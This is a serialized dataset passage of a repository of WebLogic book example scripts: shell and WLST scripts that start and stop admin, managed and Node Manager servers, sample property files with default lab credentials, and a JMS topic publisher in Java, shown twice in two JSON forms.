$LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./startManagedWebLogic.sh $SERVER_NAME t3://192.168.0.33:7001 > $LOG_DIR/$SERVER_NAME.out 2>&1 &"},{"alpha_fraction":0.7142857313156128,"alphanum_fraction":0.8240165710449219,"avg_line_length":33.57143020629883,"blob_id":"3c2cbd8332ab2606a1e0e7300e753b5efb56dea9","content_id":"d4e804d0ebe31a7ef3a1a604a901f9ef95d94380","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"INI","length_bytes":483,"license_type":"permissive","max_line_length":69,"num_lines":14,"path":"/chapter3/Scripts/windows/NodeManager/wlst/env.properties","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"domain_name=v1212domain\ndomain_home=D:\\\\wls\\\\wls1212\\\\domains\\\\v1212domain\nnode_manager_username=weblogic\nnode_manager_password=welcome1\nnode_manager_home=D:\\\\wls\\\\wls1212\\\\domains\\\\v1212domain\\\\nodemanager\nnode_manager_listen_address=192.168.0.33\nnode_manager_listen_port=5556\nnode_manager_type=plain\nadmin_username=weblogic\nadmin_password=welcome1\nadmin_server_listen_address=192.168.0.33\nadmin_server_listen_port=7001\nadmin_server_name=1212Admin\nmanaged_server_name1=Managed01"},{"alpha_fraction":0.6160714030265808,"alphanum_fraction":0.7410714030265808,"avg_line_length":55.5,"blob_id":"de6cb3ee2b272c6a241c77f80566481261c35676","content_id":"06a7285430b86307c375281b4e355f308715a0cc","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":112,"license_type":"permissive","max_line_length":98,"num_lines":2,"path":"/chapter3/Scripts/unix_linux/8.1/stopAdmin.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":". ./setEnv.sh\njava weblogic.Admin -url t3://192.168.0.33:7001 -username weblogic -password welcome1 FORCESHUTDOWN"},{"alpha_fraction":0.6485841274261475,"alphanum_fraction":0.6496076583862305,"avg_line_length":33.093021392822266,"blob_id":"8158332bf75895f2c7355a9a52df5471ea893051","content_id":"ec0eee67cebdbf2bac043a4e918f34360b74cb15","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":2931,"license_type":"permissive","max_line_length":133,"num_lines":86,"path":"/chapter12/Topictest/TopicSend.java","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"import java.io.*;\nimport java.util.*;\nimport javax.transaction.*;\nimport javax.naming.*;\nimport javax.jms.*;\nimport javax.rmi.*;\n\npublic class TopicSend\n{\n public final static String JNDI_FACTORY = \"weblogic.jndi.WLInitialContextFactory\";\n public final static String CONN_FACTORY = \"com.wlsexpert.ConnectionFactory\";\n public final static String TOPIC = \"com.wlsexpert.Topic\";\n\n protected TopicConnectionFactory dutconFactory;\n protected TopicConnection dutcon;\n protected TopicSession dutsession;\n protected TopicPublisher dutpublisher;\n protected Topic dutopic;\n protected TextMessage msg;\n\n public static void main(String[] args) throws Exception\n {\n if (args.length != 1)\n {\n System.out.println(\"Usage: java examples.jms.dutopic.TopicSend WebLogicURL\");\n return;\n }\n\n InitialContext ic = getInitialContext(args[0]);\n TopicSend duts = new TopicSend();\n duts.init(ic, TOPIC);\n readAndSendMsg(duts);\n duts.close();\n }\n\n public void init(Context ctx, String topicName) throws NamingException, JMSException\n {\n dutconFactory = (TopicConnectionFactory) PortableRemoteObject.narrow(ctx.lookup(CONN_FACTORY), TopicConnectionFactory.class);\n dutcon = dutconFactory.createTopicConnection();\n dutsession = dutcon.createTopicSession(false, Session.AUTO_ACKNOWLEDGE);\n dutopic = (Topic) PortableRemoteObject.narrow(ctx.lookup(topicName), Topic.class);\n dutpublisher = dutsession.createPublisher(dutopic);\n msg = dutsession.createTextMessage();\n dutcon.start();\n }\n\n protected static InitialContext getInitialContext(String url) throws NamingException\n {\n Hashtable < String, String > env = new Hashtable < String, String > ();\n env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);\n env.put(Context.PROVIDER_URL, url);\n env.put(\"weblogic.jndi.createIntermediateContexts\", \"true\");\n return new InitialContext(env);\n }\n\n public void sendmsg(String message) throws JMSException\n {\n msg.setText(message);\n dutpublisher.publish(msg);\n }\n\n protected static void readAndSendMsg(TopicSend duts) throws IOException, JMSException\n {\n BufferedReader msgStream = new BufferedReader(new InputStreamReader(System.in));\n String line = null;\n \n do\n {\n System.out.print(\"Enter your message (\\\"quit\\\" to quit): \\n\");\n line = msgStream.readLine();\n\n if (line != null && line.trim().length() != 0)\n {\n duts.sendmsg(line);\n System.out.println(\"Sent JMS Message: \" + line + \"\\n\");\n }\n } while (line != null && !line.equalsIgnoreCase(\"quit\"));\n }\n\n public void close() throws JMSException\n {\n dutpublisher.close();\n dutsession.close();\n dutcon.close();\n }\n}"},{"alpha_fraction":0.7301255464553833,"alphanum_fraction":0.8410041928291321,"avg_line_length":33.21428680419922,"blob_id":"86370198079e38f42383fe917800e9b3e307ace1","content_id":"48f09c9367f321d4f1c6e991c14b1273ee379d5d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"INI","length_bytes":478,"license_type":"permissive","max_line_length":66,"num_lines":14,"path":"/chapter3/Scripts/unix_linux/NodeManager/wlst/env.properties","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"domain_name=v1212domain\ndomain_home=/app/wls/wls1212/domains/v1212domain\nnode_manager_username=weblogic\nnode_manager_password=welcome1\nnode_manager_home=/app/wls/wls1212/domains/v1212domain/nodemanager\nnode_manager_listen_address=192.168.0.33\nnode_manager_listen_port=5556\nnode_manager_type=plain\nadmin_username=weblogic\nadmin_password=welcome1\nadmin_server_listen_address=192.168.0.33\nadmin_server_listen_port=7001\nadmin_server_name=1212Admin\nmanaged_server_name1=Managed01"},{"alpha_fraction":0.6453900933265686,"alphanum_fraction":0.695035457611084,"avg_line_length":27.299999237060547,"blob_id":"f0cf3bc1a741e8c6edf2244da847c2f2b004abf7","content_id":"dd18460dc84a2f3b659102303a2395e63ad67eca","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":282,"license_type":"permissive","max_line_length":97,"num_lines":10,"path":"/chapter3/Scripts/unix_linux/NodeManager/wlst/startwlst.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"WL_HOME=/app/wls/wls1212/wlserver\nDOMAIN_HOME=/app/wls/wls1212/domains/v1212domain\n\nif [ \"$1\" = \"\" ] ; then\n echo \"Script Error\"\n echo \"ex) ./startwlst.sh [py_file]\"\n exit\nfi\n\n$WL_HOME/common/bin/wlst.sh -loadProperties $DOMAIN_HOME/wlst/env.properties $DOMAIN_HOME/wlst/$1"},{"alpha_fraction":0.6037735939025879,"alphanum_fraction":0.6226415038108826,"avg_line_length":52.5,"blob_id":"6a2206c053a5a59a5cee7724a4698c5e3032de45","content_id":"d82b81430b1212e88b774b11ca2d06487d170ee5","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":106,"license_type":"permissive","max_line_length":53,"num_lines":2,"path":"/chapter3/Scripts/unix_linux/NodeManager/startNM.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"mv $LOG_DIR/NM.out $LOG_DIR/$NM.`date +'%m%d_%H%M%S'`\nnohup ./startNodeManager.sh > $LOG_DIR/NM.out 2>&1 &"},{"alpha_fraction":0.709261417388916,"alphanum_fraction":0.743259072303772,"avg_line_length":27.46666717529297,"blob_id":"c01e32ee3d26f65f128a6775cdf4735ca3c08abf","content_id":"5bbeacc73718e16339f831b45e5c10462987f612","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":853,"license_type":"permissive","max_line_length":71,"num_lines":30,"path":"/chapter2/Scripts/wlst_domain_script/w1212domain.py","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"# Create WLS 12.1.2 Domain\n\n# Read Template\nprint('Read Template')\nreadTemplate('/app/wls/wls1212/wlserver/common/templates/wls/wls.jar');\n\n# Configure Administrative Username and Password\nprint('Configure Administrative Username and Password');\ncd('Security/base_domain/User/weblogic');\nset('Name','weblogic');\ncmo.setPassword('welcome1');\n# Domain Mode Configuration\nprint('Domain Mode Configuration');\ncd('/');\nset('ProductionModeEnabled','true');\n# Set JDK\nprint('Set JDK');\nsetOption('JavaHome','/usr/jdk1.7.0_51');\n# Configure the Administration Server\nprint('Configure the Administration Server');\ncd('Servers/AdminServer');\nset('Name','1212Admin');\nset('ListenAddress','All Local Addresses');\nset('ListenPort',7001);\n# Create Domain\nprint('Create Domain');\ncd('/');\nwriteDomain('/app/wls/wls1212/domains/v1212domain');\ncloseTemplate();\nexit();"},{"alpha_fraction":0.6740087866783142,"alphanum_fraction":0.7224669456481934,"avg_line_length":37,"blob_id":"80b4f2692700d2dd6bd15ecde5df9c30af957248","content_id":"8679bdccf08a5805711b86664f86a18d315c6d71","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":227,"license_type":"permissive","max_line_length":72,"num_lines":6,"path":"/chapter3/Scripts/unix_linux/8.1/startAdmin.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"SERVER_NAME=816Admin\nDOMAIN_HOME=/app/wls/wls816/domains/v816domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./startWebLogic.sh > $LOG_DIR/$SERVER_NAME.out 2>&1 &"},{"alpha_fraction":0.8507462739944458,"alphanum_fraction":0.8507462739944458,"avg_line_length":67,"blob_id":"8cc4441defaf3df6e0b68d81ccd2fca4b16103df","content_id":"0ebb08a904cbbe581bb9e8cea9be1246bc9e40ba","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":67,"license_type":"permissive","max_line_length":67,"num_lines":1,"path":"/chapter3/Scripts/unix_linux/NodeManager/wlst/startNM.py","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"startNodeManager(verbose='true', NodeManagerHome=node_manager_home)"},{"alpha_fraction":0.6529126167297363,"alphanum_fraction":0.737864077091217,"avg_line_length":40.29999923706055,"blob_id":"1ed18591f93462adda5bff709993a8c640dd0971","content_id":"f11fa57002bf023e2ac25aaf5f0a6ddaecea13cf","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":412,"license_type":"permissive","max_line_length":106,"num_lines":10,"path":"/chapter3/Scripts/unix_linux/9.0~12.1.2/startM1.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"SERVER_NAME=Managed01\nDOMAIN_HOME=/app/wls/wls1036/domains/v1036domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nexport USER_MEM_ARGS=\"-D$SERVER_NAME -Xms512m -Xmx512m -XX:MaxPermSize=256m\"\nexport EXT_PRE_CLASSPATH=\"\"\nexport EXT_POST_CLASSPATH=\"\"\n\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./bin/startManagedWebLogic.sh $SERVER_NAME t3://192.168.0.33:7001 > $LOG_DIR/$SERVER_NAME.out 2>&1 &"},{"alpha_fraction":0.7873753905296326,"alphanum_fraction":0.7873753905296326,"avg_line_length":36.75,"blob_id":"1fd0d134654beb4411c59251ec39ecdd3f34cf03","content_id":"bc904637ec640864f41fe2d6135688e733357539","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":301,"license_type":"permissive","max_line_length":156,"num_lines":8,"path":"/chapter3/Scripts/windows/NodeManager/wlst/startAdmin.py","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"print 'CONNECT TO NODE MANAGER';\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\n\nprint 'START ADMIN SERVER';\nnmStart(admin_server_name);\n\nprint 'DISCONNECT FROM NODE MANAGER';\nnmDisconnect();"},{"alpha_fraction":0.7544426321983337,"alphanum_fraction":0.7576736807823181,"avg_line_length":37.75,"blob_id":"35e0483b6f5d07fd59cfc5eb843e053fff2a12be","content_id":"ccd3d2b2c06473646e36c4a8b6964aad0f09718b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":619,"license_type":"permissive","max_line_length":156,"num_lines":16,"path":"/chapter3/Scripts/unix_linux/NodeManager/wlst/startM1.py","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"admin_server_url='t3://' + admin_server_listen_address + ':' + admin_server_listen_port;\n\nprint 'CONNECT TO ADMIN SERVER';\nconnect(admin_username, admin_password, admin_server_url);\n\nprint 'CONNECT TO NODE MANAGER';\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\n\nprint 'START MANAGED SERVER';\nnmStart(managed_server_name1);\n\nprint 'DISCONNECT FROM NODE MANAGER ON ' + node_manager_listen_address + ':' + repr(node_manager_listen_port);\nnmDisconnect();\n\nprint 'DISCONNECT FROM THE ADMIN SERVER';\ndisconnect();"},{"alpha_fraction":0.6949999928474426,"alphanum_fraction":0.75,"avg_line_length":49,"blob_id":"63403b1de99c8dea3165eb71b73178f64a11f04a","content_id":"1003f6ba772df21909b0c8f7570af9bd85aead69","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":240,"license_type":"permissive","max_line_length":95,"num_lines":4,"path":"/README.md","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"# weblogic-expert\n설치에서 트러블슈팅까지 웹로직의 모든 것 - WebLogic Expert ([링크](http://www.acornpub.co.kr/book/weblogic-expert))\n\n\n"},{"alpha_fraction":0.75,"alphanum_fraction":0.7596899271011353,"avg_line_length":38.769229888916016,"blob_id":"d631a8f91e1d123f7fa69687db969258e052e206","content_id":"522712998f8be06d401d6f7816fbf783976d845b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":516,"license_type":"permissive","max_line_length":156,"num_lines":13,"path":"/chapter3/Scripts/unix_linux/NodeManager/wlst/stopAdmin.py","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"admin_server_url='t3://' + admin_server_listen_address + ':' + admin_server_listen_port;\n\nprint 'CONNECT TO ADMIN SERVER';\nconnect(admin_username, admin_password, admin_server_url);\n\nprint 'CONNECT TO NODE MANAGER';\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\n\nprint 'STOPPING ADMIN SERVER';\nshutdown(admin_server_name,'Server','true',1000,'true');\n\nprint 'DISCONNECT FROM NODE MANAGER';\nnmDisconnect();"},{"alpha_fraction":0.6739726066589355,"alphanum_fraction":0.7369862794876099,"avg_line_length":35.599998474121094,"blob_id":"1a3c7f160c9dfc6989151d61acfbf336856ed183","content_id":"3bdfecd5ff6b069565d7cecc12e065e6681f9816","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":365,"license_type":"permissive","max_line_length":76,"num_lines":10,"path":"/chapter3/Scripts/unix_linux/9.0~12.1.2/startAdmin.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"SERVER_NAME=1036Admin\nDOMAIN_HOME=/app/wls/wls1036/domains/v1036domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nexport USER_MEM_ARGS=\"-D$SERVER_NAME -Xms512m -Xmx512m -XX:MaxPermSize=256m\"\nexport EXT_PRE_CLASSPATH=\"\"\nexport EXT_POST_CLASSPATH=\"\"\n\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./startWebLogic.sh > $LOG_DIR/$SERVER_NAME.out 2>&1 &"}],"string":"[\n {\n \"alpha_fraction\": 0.8114285469055176,\n \"alphanum_fraction\": 0.8114285469055176,\n \"avg_line_length\": 87,\n \"blob_id\": \"0a88adc5275b8b69b9ca9c1cff2941f1ae2fea48\",\n \"content_id\": \"0346dd6127404cab0e0d832e54a3996bc455e6b1\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 175,\n \"license_type\": \"permissive\",\n \"max_line_length\": 156,\n \"num_lines\": 2,\n \"path\": \"/chapter3/Scripts/unix_linux/NodeManager/wlst/stopNM.py\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"nmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\\nstopNodeManager();\"\n },\n {\n \"alpha_fraction\": 0.6639999747276306,\n \"alphanum_fraction\": 0.7760000228881836,\n \"avg_line_length\": 62,\n \"blob_id\": \"d488d3b4f87f9323cfa0ce11f5b76022d0767349\",\n \"content_id\": \"3ece9946f019a59ac1fd588926d25a328ca70799\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 125,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 2,\n \"path\": \"/chapter3/Scripts/unix_linux/9.0~12.1.2/stopAdmin.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \". ./bin/setDomainEnv.sh\\njava weblogic.Admin -url t3://192.168.0.33:7001 -username weblogic -password welcome1 FORCESHUTDOWN\"\n },\n {\n \"alpha_fraction\": 0.6383763551712036,\n \"alphanum_fraction\": 0.7269372940063477,\n \"avg_line_length\": 44.33333206176758,\n \"blob_id\": \"d0813da620d13587844f97caea4ec9e7c1f28dec\",\n \"content_id\": \"2cc01d4ebc3b1519a6d71bdfbfffa03cb84bf130\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 271,\n \"license_type\": \"permissive\",\n \"max_line_length\": 102,\n \"num_lines\": 6,\n \"path\": \"/chapter3/Scripts/unix_linux/8.1/startM1.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"SERVER_NAME=Managed01\\nDOMAIN_HOME=/app/wls/wls816/domains/v816domain\\nLOG_DIR=$DOMAIN_HOME/logs\\n\\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\\nnohup ./startManagedWebLogic.sh $SERVER_NAME t3://192.168.0.33:7001 > $LOG_DIR/$SERVER_NAME.out 2>&1 &\"\n },\n {\n \"alpha_fraction\": 0.7142857313156128,\n \"alphanum_fraction\": 0.8240165710449219,\n \"avg_line_length\": 33.57143020629883,\n \"blob_id\": \"3c2cbd8332ab2606a1e0e7300e753b5efb56dea9\",\n \"content_id\": \"d4e804d0ebe31a7ef3a1a604a901f9ef95d94380\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"INI\",\n \"length_bytes\": 483,\n \"license_type\": \"permissive\",\n \"max_line_length\": 69,\n \"num_lines\": 14,\n \"path\": \"/chapter3/Scripts/windows/NodeManager/wlst/env.properties\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"domain_name=v1212domain\\ndomain_home=D:\\\\\\\\wls\\\\\\\\wls1212\\\\\\\\domains\\\\\\\\v1212domain\\nnode_manager_username=weblogic\\nnode_manager_password=welcome1\\nnode_manager_home=D:\\\\\\\\wls\\\\\\\\wls1212\\\\\\\\domains\\\\\\\\v1212domain\\\\\\\\nodemanager\\nnode_manager_listen_address=192.168.0.33\\nnode_manager_listen_port=5556\\nnode_manager_type=plain\\nadmin_username=weblogic\\nadmin_password=welcome1\\nadmin_server_listen_address=192.168.0.33\\nadmin_server_listen_port=7001\\nadmin_server_name=1212Admin\\nmanaged_server_name1=Managed01\"\n },\n {\n \"alpha_fraction\": 0.6160714030265808,\n \"alphanum_fraction\": 0.7410714030265808,\n \"avg_line_length\": 55.5,\n \"blob_id\": \"de6cb3ee2b272c6a241c77f80566481261c35676\",\n \"content_id\": \"06a7285430b86307c375281b4e355f308715a0cc\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 112,\n \"license_type\": \"permissive\",\n \"max_line_length\": 98,\n \"num_lines\": 2,\n \"path\": \"/chapter3/Scripts/unix_linux/8.1/stopAdmin.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \". ./setEnv.sh\\njava weblogic.Admin -url t3://192.168.0.33:7001 -username weblogic -password welcome1 FORCESHUTDOWN\"\n },\n {\n \"alpha_fraction\": 0.6485841274261475,\n \"alphanum_fraction\": 0.6496076583862305,\n \"avg_line_length\": 33.093021392822266,\n \"blob_id\": \"8158332bf75895f2c7355a9a52df5471ea893051\",\n \"content_id\": \"ec0eee67cebdbf2bac043a4e918f34360b74cb15\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 2931,\n \"license_type\": \"permissive\",\n \"max_line_length\": 133,\n \"num_lines\": 86,\n \"path\": \"/chapter12/Topictest/TopicSend.java\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import java.io.*;\\nimport java.util.*;\\nimport javax.transaction.*;\\nimport javax.naming.*;\\nimport javax.jms.*;\\nimport javax.rmi.*;\\n\\npublic class TopicSend\\n{\\n public final static String JNDI_FACTORY = \\\"weblogic.jndi.WLInitialContextFactory\\\";\\n public final static String CONN_FACTORY = \\\"com.wlsexpert.ConnectionFactory\\\";\\n public final static String TOPIC = \\\"com.wlsexpert.Topic\\\";\\n\\n protected TopicConnectionFactory dutconFactory;\\n protected TopicConnection dutcon;\\n protected TopicSession dutsession;\\n protected TopicPublisher dutpublisher;\\n protected Topic dutopic;\\n protected TextMessage msg;\\n\\n public static void main(String[] args) throws Exception\\n {\\n if (args.length != 1)\\n {\\n System.out.println(\\\"Usage: java examples.jms.dutopic.TopicSend WebLogicURL\\\");\\n return;\\n }\\n\\n InitialContext ic = getInitialContext(args[0]);\\n TopicSend duts = new TopicSend();\\n duts.init(ic, TOPIC);\\n readAndSendMsg(duts);\\n duts.close();\\n }\\n\\n public void init(Context ctx, String topicName) throws NamingException, JMSException\\n {\\n dutconFactory = (TopicConnectionFactory) PortableRemoteObject.narrow(ctx.lookup(CONN_FACTORY), TopicConnectionFactory.class);\\n dutcon = dutconFactory.createTopicConnection();\\n dutsession = dutcon.createTopicSession(false, Session.AUTO_ACKNOWLEDGE);\\n dutopic = (Topic) PortableRemoteObject.narrow(ctx.lookup(topicName), Topic.class);\\n dutpublisher = dutsession.createPublisher(dutopic);\\n msg = dutsession.createTextMessage();\\n dutcon.start();\\n }\\n\\n protected static InitialContext getInitialContext(String url) throws NamingException\\n {\\n Hashtable < String, String > env = new Hashtable < String, String > ();\\n env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);\\n env.put(Context.PROVIDER_URL, url);\\n env.put(\\\"weblogic.jndi.createIntermediateContexts\\\", \\\"true\\\");\\n return new InitialContext(env);\\n }\\n\\n public void sendmsg(String message) throws JMSException\\n {\\n msg.setText(message);\\n dutpublisher.publish(msg);\\n }\\n\\n protected static void readAndSendMsg(TopicSend duts) throws IOException, JMSException\\n {\\n BufferedReader msgStream = new BufferedReader(new InputStreamReader(System.in));\\n String line = null;\\n \\n do\\n {\\n System.out.print(\\\"Enter your message (\\\\\\\"quit\\\\\\\" to quit): \\\\n\\\");\\n line = msgStream.readLine();\\n\\n if (line != null && line.trim().length() != 0)\\n {\\n duts.sendmsg(line);\\n System.out.println(\\\"Sent JMS Message: \\\" + line + \\\"\\\\n\\\");\\n }\\n } while (line != null && !line.equalsIgnoreCase(\\\"quit\\\"));\\n }\\n\\n public void close() throws JMSException\\n {\\n dutpublisher.close();\\n dutsession.close();\\n dutcon.close();\\n }\\n}\"\n },\n {\n \"alpha_fraction\": 0.7301255464553833,\n \"alphanum_fraction\": 0.8410041928291321,\n \"avg_line_length\": 33.21428680419922,\n \"blob_id\": \"86370198079e38f42383fe917800e9b3e307ace1\",\n \"content_id\": \"48f09c9367f321d4f1c6e991c14b1273ee379d5d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"INI\",\n \"length_bytes\": 478,\n \"license_type\": \"permissive\",\n \"max_line_length\": 66,\n \"num_lines\": 14,\n \"path\": \"/chapter3/Scripts/unix_linux/NodeManager/wlst/env.properties\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"domain_name=v1212domain\\ndomain_home=/app/wls/wls1212/domains/v1212domain\\nnode_manager_username=weblogic\\nnode_manager_password=welcome1\\nnode_manager_home=/app/wls/wls1212/domains/v1212domain/nodemanager\\nnode_manager_listen_address=192.168.0.33\\nnode_manager_listen_port=5556\\nnode_manager_type=plain\\nadmin_username=weblogic\\nadmin_password=welcome1\\nadmin_server_listen_address=192.168.0.33\\nadmin_server_listen_port=7001\\nadmin_server_name=1212Admin\\nmanaged_server_name1=Managed01\"\n },\n {\n \"alpha_fraction\": 0.6453900933265686,\n \"alphanum_fraction\": 0.695035457611084,\n \"avg_line_length\": 27.299999237060547,\n \"blob_id\": \"f0cf3bc1a741e8c6edf2244da847c2f2b004abf7\",\n \"content_id\": \"dd18460dc84a2f3b659102303a2395e63ad67eca\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 282,\n \"license_type\": \"permissive\",\n \"max_line_length\": 97,\n \"num_lines\": 10,\n \"path\": \"/chapter3/Scripts/unix_linux/NodeManager/wlst/startwlst.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"WL_HOME=/app/wls/wls1212/wlserver\\nDOMAIN_HOME=/app/wls/wls1212/domains/v1212domain\\n\\nif [ \\\"$1\\\" = \\\"\\\" ] ; then\\n echo \\\"Script Error\\\"\\n echo \\\"ex) ./startwlst.sh [py_file]\\\"\\n exit\\nfi\\n\\n$WL_HOME/common/bin/wlst.sh -loadProperties $DOMAIN_HOME/wlst/env.properties $DOMAIN_HOME/wlst/$1\"\n },\n {\n \"alpha_fraction\": 0.6037735939025879,\n \"alphanum_fraction\": 0.6226415038108826,\n \"avg_line_length\": 52.5,\n \"blob_id\": \"6a2206c053a5a59a5cee7724a4698c5e3032de45\",\n \"content_id\": \"d82b81430b1212e88b774b11ca2d06487d170ee5\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 106,\n \"license_type\": \"permissive\",\n \"max_line_length\": 53,\n \"num_lines\": 2,\n \"path\": \"/chapter3/Scripts/unix_linux/NodeManager/startNM.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"mv $LOG_DIR/NM.out $LOG_DIR/$NM.`date +'%m%d_%H%M%S'`\\nnohup ./startNodeManager.sh > $LOG_DIR/NM.out 2>&1 &\"\n },\n {\n \"alpha_fraction\": 0.709261417388916,\n \"alphanum_fraction\": 0.743259072303772,\n \"avg_line_length\": 27.46666717529297,\n \"blob_id\": \"c01e32ee3d26f65f128a6775cdf4735ca3c08abf\",\n \"content_id\": \"5bbeacc73718e16339f831b45e5c10462987f612\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 853,\n \"license_type\": \"permissive\",\n \"max_line_length\": 71,\n \"num_lines\": 30,\n \"path\": \"/chapter2/Scripts/wlst_domain_script/w1212domain.py\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Create WLS 12.1.2 Domain\\n\\n# Read Template\\nprint('Read Template')\\nreadTemplate('/app/wls/wls1212/wlserver/common/templates/wls/wls.jar');\\n\\n# Configure Administrative Username and Password\\nprint('Configure Administrative Username and Password');\\ncd('Security/base_domain/User/weblogic');\\nset('Name','weblogic');\\ncmo.setPassword('welcome1');\\n# Domain Mode Configuration\\nprint('Domain Mode Configuration');\\ncd('/');\\nset('ProductionModeEnabled','true');\\n# Set JDK\\nprint('Set JDK');\\nsetOption('JavaHome','/usr/jdk1.7.0_51');\\n# Configure the Administration Server\\nprint('Configure the Administration Server');\\ncd('Servers/AdminServer');\\nset('Name','1212Admin');\\nset('ListenAddress','All Local Addresses');\\nset('ListenPort',7001);\\n# Create Domain\\nprint('Create Domain');\\ncd('/');\\nwriteDomain('/app/wls/wls1212/domains/v1212domain');\\ncloseTemplate();\\nexit();\"\n },\n {\n \"alpha_fraction\": 0.6740087866783142,\n \"alphanum_fraction\": 0.7224669456481934,\n \"avg_line_length\": 37,\n \"blob_id\": \"80b4f2692700d2dd6bd15ecde5df9c30af957248\",\n \"content_id\": 